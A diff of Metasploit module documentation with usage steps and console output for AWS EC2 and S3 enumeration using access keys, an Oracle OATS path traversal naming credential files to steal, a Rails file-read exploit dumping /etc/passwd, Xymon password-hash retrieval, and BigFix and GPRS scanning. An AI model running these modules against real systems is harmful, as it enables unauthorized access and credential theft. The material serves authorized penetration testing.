[*] Found 0 instances in eu-west-1
[*] Found 0 instances in ap-northeast-2
[*] Found 0 instances in ap-northeast-1
[*] Found 0 instances in sa-east-1
[*] Found 0 instances in ca-central-1
[*] Found 0 instances in ap-southeast-1
[*] Found 0 instances in ap-southeast-2
[*] Found 0 instances in eu-central-1
[*] Found 0 instances in us-east-1
[*] Found 0 instances in us-east-2
[*] Found 0 instances in us-west-1
[*] Found 1 instances in us-west-2
[+] i-0f8bb3bbb06faf58d (running)
[+] Creation Date: 2019-06-11 23:14:48 UTC
[+] Public IP: 18.236.87.255 (ec2-18-236-87-255.us-west-2.compute.amazonaws.com)
[+] Private IP: 18.236.87.255 (ip-172-31-30-21.us-west-2.compute.internal)
[+] Security Group: sg-0d52cc35aaf82aff5
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_ec2) >
```
### Provided an invalid or inactive 'access key ID', or an invalid 'secret access key'
```
msf5 auxiliary(cloud\aws\enum_ec2) > run
[-] Auxiliary aborted due to failure: unexpected-reply: AWS was not able to validate the provided access credentials
[*] Auxiliary module execution completed
msf5 auxiliary(cloud\aws\enum_ec2) >
```
### Provided an 'access key ID' or 'secret access key' with insufficient privileges
```
msf5 auxiliary(cloud\aws\enum_ec2) > run
[-] Auxiliary aborted due to failure: unexpected-reply: You are not authorized to perform this operation.
[*] Auxiliary module execution completed
msf5 auxiliary(cloud\aws\enum_ec2) >
```
@@ -0,0 +1,95 @@
## Vulnerable Application
Amazon Web Services (AWS) resources can be managed through an API that authenticates based on an `ACCESS_KEY_ID` and a `SECRET_ACCESS_KEY`. With these two pieces of information, an attacker can gain privileges which may include enumerating resources within the AWS account.
This module authenticates to AWS S3 (Simple Storage Service), to identify buckets that the credentials can see. The files contained within buckets may be publicly readable and/or writable, or they may be locked down. In any case, knowledge of the buckets is the first step in evaluating their security.
## Verification Steps
### Create or acquire the credentials
1. (If necessary) Create an AWS account. Free trials are available.
2. Login to the [AWS Console](https://console.aws.amazon.com/).
3. Use the dropbown menu in the top-right with your username, then click on "My Security Credentials".
4. Expand the "Access Keys" pane and click "Create New Access Key".
5. Follow the steps in the AWS console, making sure to record both the 'access key ID' and 'secret access key'. (The 'secret access key' is only shown once, then can never be retrieved.)
### Enumerate AWS resources using the credentials
1. Start msfconsole
2. `use auxiliary/cloud/aws/enum_s3`
3. Set the `ACCESS_KEY_ID` and `SECRET_ACCESS_KEY` options.
4. Optionally, set the `REGION` option.
5. `run`
## Options
**ACCESS_KEY_ID**
This AWS credential is like a username. It uniquely identifies the user, and is paired with a 'secret access key'. The access key ID is retrievable through the AWS console.
An example `ACCESS_KEY_ID` would be `AKIA5C76TR3KXHXA5CRC`
**SECRET_ACCESS_KEY**
This AWS credential is like a password, and should be treated as such. It is paired with a 'access key ID'. The access key ID cannot be retrieved from AWS after it has been generated, but it may be discoverable through environment variables, configuration files, source code, or backups.
An example `SECRET_ACCESS_KEY` would be `EKfx3wOWWiGk1WgBTAZfF/2dq3SbDsQj4jdyOMOv`.
**REGION**
AWS resources are located in regions. Optionally, this module's output can be filtered based on region to minimize the query to AWS. Alternatively, `REGION` can be left blank, such that all regions will be checked.
An example region would be `us-west-2`.
## Scenarios
### Provided a valid 'access key ID' and 'secret access key' with sufficient privileges
```
msf5 auxiliary(cloud/aws/enum_s3) > run
[+] Found 1 buckets.
[+] Name: asoto-secret-demo-bucket
[+] Creation Date: 2019-06-13 23:30:26 UTC
[+] # of Objects: 0
[+] Region: us-west-2
[+] Website: /index.html
[+] Owner: asoto
[+] Permissions:
[+] User 'asoto' granted FULL_CONTROL
[+] Group '' (http://acs.amazonaws.com/groups/s3/LogDelivery) granted READ
[*]
[*] Done.
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_s3) > exit
```
### Provided an invalid or inactive 'access key ID'
```
msf5 auxiliary(cloud/aws/enum_s3) > run
[-] Auxiliary aborted due to failure: unexpected-reply: The AWS Access Key Id you provided does not exist in our records.
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_s3) >
```
### Provided an invalid 'secret access key'
```
msf5 auxiliary(cloud/aws/enum_s3) > run
[-] Auxiliary aborted due to failure: unexpected-reply: The request signature we calculated does not match the signature you provided. Check your key and signing method.
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_s3) >
```
### Provided an 'access key ID' or 'secret access key' with insufficient privileges
```
msf5 auxiliary(cloud/aws/enum_s3) > run
[-] Auxiliary aborted due to failure: unexpected-reply: Access Denied
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_s3) >
```
@@ -0,0 +1,66 @@
## Description
This module performs unauthenticated requests to retrieve masthead, sites, and packages information from IBM BigFix Relay Servers. If the **DOWNLOAD** option is set then the module will attempt to download the identified packages. This module has been tested against Relay Server 9.5.10.79.
## Vulnerable Application
BigFix Platform 9.2 - 9.2.16 and 9.5 - 9.5.11
## Options
**SHOW_MASTHEAD**
Default: true. Read Organization name from `/masthead/masthead.axfm`
**SHOW_PACKAGES**
Default true. Read Action values and packages names from `/cgi-bin/bfenterprise/BESMirrorRequest.exe`
**SHOW_SITES**
Default true. Read Site URLs from `/cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands`
**DOWNLOAD**
Default true. Attempt to download identified packages.
**ShowURL**
Default false. Show full URL for the packages instead of the filename.
## Verification Steps
1. `./msfconsole -q`
2. `use auxiliary/gather/ibm_bigfix_sites_packages_enum`
3. `set rhosts <rhost>`
4. `exploit`
## Scenarios
### Relay Version 9.5.10.79
```
msf5 > use auxiliary/gather/ibm_bigfix_sites_packages_enum
msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > set rhosts <rhost>
rhosts => <rhost>
msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) > exploit
[*] Running module against [IP]
[+] [Organization]
[+] http://[hostname]:52311/cgi-bin/bfgather.exe/actionsite
[+] http://[hostname]:52311/cgi-bin/bfenterprise/PostResults.exe
<snip>
[*] Sites
[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site]
[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site]
[+] http://[hostname]:52311/cgi-bin/bfgather.exe/[site]
<snip>
[*] Packages
[*] Action: [action number]
[+] File: [package name]
[*] Action: [action number]
[+] File: [package name]
<snip>
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ibm_bigfix_sites_packages_enum) >
```
@@ -0,0 +1,79 @@
## Description
Oracle Application Testing Suite (OATS) is a comprehensive, integrated testing solution for web applications, web services, packaged Oracle applications, and Oracle databases. OATS is part of an application deployed in the WebLogic service on port 8088, which also includes these tools: Administrator, OpenScript, Oracle Load Testing, and Oracle Test Manager.
In the Load Testing component, a vulnerability was discovered by Steven Seeley (@mr_me) of Source Incite in the DownloadServlet class. According to the Source Incite advisory, the issue results from the lack of proper validation of a user-supplied string before using it to read a file. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Note that authentication is required.
This vulnerability is also known as CVE-2019-2557.
## Vulnerable Application
The following is the exact setup I used to test and analyze the vulnerability:
- Windows Server 2008 R2 x64 (other Windows systems are also supported)
- .Net Framework 3.5 enabled (from add/remove features)
- IE ESC (from Server Manager) disabled
- 8GB of RAM (at least more than 4GB will be used to run OATS)
- Duel-Core processor
- oats-win64-full-13.3.0.1.262.zip (x86 did not work for me)
- Jdk-7u21-windows-x64.exe
- OracleXE112_Win64.zip (Newer version 18c did not work well for me)
- Firefox (I had to install this because IE on Win2k8 is completely outdated)
- Adobe Flash installed (IE ESC needs to be disabled in order to install this)
For installation instructions, please refer to the Oracle Application Testing Suite Installation Guide.
## Notes
By default, your starting traversal path is:
```
C:\OracleATS\config\Report Templates\
```
There are some interesting files you can steal from this directory, such as:
* oats-config.xml
* oats-database-config.xml
* oats-keystore
Code execution is possible leveraging from this vulnerability if you target these files:
* C:\OracleATS\oats\servers\AdminServer\security\SerializedSystemIni.dat
* C:\OracleATS\oats\servers\AdminServer\security\boot.properties
After that, you can find a third party script to decrypt the credentials, and then you could
gain code execution from the administrator console.
## Credit
Special thanks to Steven Seeley to assist on the development of the Metasploit module.
## Scenarios
```
msf5 auxiliary(gather/oats_downloadservlet_traversal) > run
[*] Running module against 172.16.249.143
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<properties>
<entry key="oracle.oats.cluster.agent.username">oats-agent</entry>
<entry key="oracle.oats.security.keystore.info">eYAdfLaDkdBlUmflYhpg+CHGeXc=</entry>
<entry key="oracle.oats.cluster.username">oats</entry>
<entry key="oracle.oats.cluster.agent.password">{AES}WNdIPXpoeoZzyDNuJPm0wU4R3YKc1SUR2k5+TbQfzIQ=</entry>
<entry key="oracle.oats.admin.username">oats</entry>
<entry key="oracle.oats.http.url">http://localhost:8088</entry>
<entry key="oracle.oats.config.version">9.1.0</entry>
<entry key="oracle.oats.admin.password">{AES}NHrwlbPc7Arlb7puj+UlzAAXB/dUEbv3bdwNnee1/sc=</entry>
<entry key="oracle.oats.cluster.password">{AES}WMTjMmLChdB9CTSrnyJ33113u0ml0juuGZQCWPODJTk=</entry>
<entry key="oracle.oats.admin.url">t3://localhost:8088</entry>
<entry key="oracle.oats.tmp.dir">/tmp</entry>
<entry key="oracle.oats.cluster.url">t3://localhost:8088</entry>
</properties>
[*] Auxiliary module execution completed
msf5 auxiliary(gather/oats_downloadservlet_traversal) >
```
@@ -0,0 +1,76 @@
## Vulnerable Application
Ruby on Rails versions <= 5.2.2. The following example shows how to recreate the vulnerable environment on Linux:
https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/
## Verification Steps
1. Start a Rails server using a vulnerable version
2. Start msfconsole
3. Do: ```use auxiliary/gather/rails_doubletap_file_read```
4. Do: ```set ROUTE /your_route```
5. Do: ```set RHOSTS target```
6. Do: ```set TARGET_FILE /absolute/path/to/remote/file.txt```
7. Do: ```run```
8. If everything goes smoothly, you should get the contents of the remote file printed to the console.
## Options
**ROUTE**
This is a web path or "route" on the vulnerable server. Since the vulnerability lies within the PathResolver of Rails, the route should be in the server's routes.rb file.
**TARGET_FILE**
This is the file to be read on the remote server. This *must* be an absolute path (eg. /etc/passwd).
## Advanced Options
**SKIP_CHECK**
This options skips the initial vulnerability check and continues thinking the server is vulnerable.
## Scenarios
### Version of software and OS as applicable
```
msf5 > use auxiliary/gather/rails_doubletap_file_read
msf5 auxiliary(gather/rails_doubletap_file_read) > options
Module options (auxiliary/gather/rails_doubletap_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
ROUTE /msf yes A route on the vulnerable server.
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGET_FILE /etc/passwd yes The absolute path of remote file to read.
VHOST no HTTP server virtual host
msf5 auxiliary(gather/rails_doubletap_file_read) > set RHOSTS localhost
RHOSTS => localhost
msf5 auxiliary(gather/rails_doubletap_file_read) > set RPORT 8000
RPORT => 8000
smsf5 auxiliary(gather/rails_doubletap_file_read) > set ROUTE /demo
ROUTE => /demo
msf5 auxiliary(gather/rails_doubletap_file_read) > run
[*] Running module against 127.0.0.1
[+] Target is vulnerable!
[*] Requesting file /etc/passwd
[+] Response from server:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...snip...
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
postgres:x:105:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[*] Auxiliary module execution completed
```
@@ -0,0 +1,79 @@
## Description
This module retrieves information from a Xymon daemon service
(formerly Hobbit, based on Big Brother), including server
configuration information, a list of monitored hosts, and
associated client log for each host.
This module also retrieves usernames and password hashes from
the `xymonpasswd` config file from Xymon servers before 4.3.25,
which permit download arbitrary config files (CVE-2016-2055),
and servers configured with `ALLOWALLCONFIGFILES` enabled.
## Vulnerable Application
[Xymon](http://xymon.sourceforge.net/) is a system for monitoring servers and networks.
Xymon packages are available in software repositories for various Linux distributions :
```
sudo apt-get install xymon
```
Refer to http://xymon.sourceforge.net/xymon/help/install.html for more information.
A Xymon virtual appliance is also available :
* https://sourceforge.net/projects/xymon/files/Xymon/4.3.10/VM/
To expose the `xymonpasswd` file, add the following line to `/etc/xymon/xymonserver.cfg` :
```
ALLOWALLCONFIGFILES="TRUE"
```
And restart the service with : `service xymon restart`.
## Verification Steps
1. Start `msfconsole`
2. Do: `use use auxiliary/gather/xymon_info`
3. Do: `set rhost [IP]`
4. Do: `run`
5. You should receive server and client host information
## Scenarios
```
msf5 > use auxiliary/gather/xymon_info
msf5 auxiliary(gather/xymon_info) > set rhosts 172.16.191.250
rhosts => 172.16.191.250
msf5 auxiliary(gather/xymon_info) > run
[*] Running module against 172.16.191.250
[*] 172.16.191.250:1984 - Xymon daemon version 4.3.28
[*] 172.16.191.250:1984 - Retrieving configuration files ...
[+] 172.16.191.250:1984 - xymonserver.cfg (18347 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.xym_136371.txt
[+] 172.16.191.250:1984 - hosts.cfg (745 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.hos_647070.txt
[+] 172.16.191.250:1984 - xymonpasswd (44 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.xym_182226.txt
[+] 172.16.191.250:1984 - Credentials: admin : $apr1$axRTeLB1$TFmoeLwRnus.Yhr5fJmc1.
[*] 172.16.191.250:1984 - Retrieving host list ...
[+] 172.16.191.250:1984 - Host info (127 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.hostinfo_254799.txt
[+] 172.16.191.250:1984 - Found 3 hosts
[*] 172.16.191.250:1984 - Retrieving client logs ...
[+] 172.16.191.250:1984 - debian-9-6-0-x64-xfce.local client log (87942 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.hosts.debi_671716.txt
[*] 172.16.191.250:1984 - test-host client log is empty
[*] 172.16.191.250:1984 - another-test-host client log is empty
[*] Auxiliary module execution completed
msf5 auxiliary(gather/xymon_info) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
172.16.191.250 172.16.191.250 1984/tcp (xymond) admin $apr1$axRTeLB1$TFmoeLwRnus.Yhr5fJmc1. Nonreplayable hash md5crypt
```
@@ -0,0 +1,28 @@
This module provides a port of Daniel Mende's (released under the BSD license) gtp-scan.py utility. It brings the ability to scan for GPRS servers to Metasploit via sending GTP-U v1 and v2 echo requests.
## Vulnerable Application
Open-source GGSN implementations can be used as a target for this module as well as commercial GPRS gear. For information on one project suitable as a target, see [OsmoGGSN](https://osmocom.org/projects/openggsn/wiki/OsmoGGSN).
## Options
**The RPORT option**
This option can be changed to target GTP-U (2152) or GTP-C (2123), which both use the same packet type for echo probing.
## Scenarios
```
metasploit-framework (S:0 J:1) auxiliary(scanner/gprs/gtp_echo) > set RHOSTS 192.168.28.200-192.168.28.208
RHOSTS => 192.168.28.200-192.168.28.208
metasploit-framework (S:0 J:1) auxiliary(scanner/gprs/gtp_echo) > run
[*] [2019.04.22-16:38:27] Sending probes to 192.168.28.200->192.168.28.208 (9 hosts)
[+] [2019.04.22-16:38:42] GTP v1 echo response received from: 192.168.28.200:2152
[+] [2019.04.22-16:38:43] GTP v1 echo response received from: 192.168.28.201:2152
[+] [2019.04.22-16:38:43] GTP v1 echo response received from: 192.168.28.207:2152
[+] [2019.04.22-16:38:43] GTP v1 echo response received from: 192.168.28.208:2152
[*] [2019.04.22-16:38:43] Scanned 9 of 9 hosts (100% complete)
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:1) auxiliary(scanner/gprs/gtp_echo) >
```

Some files were not shown because too many files have changed in this diff Show More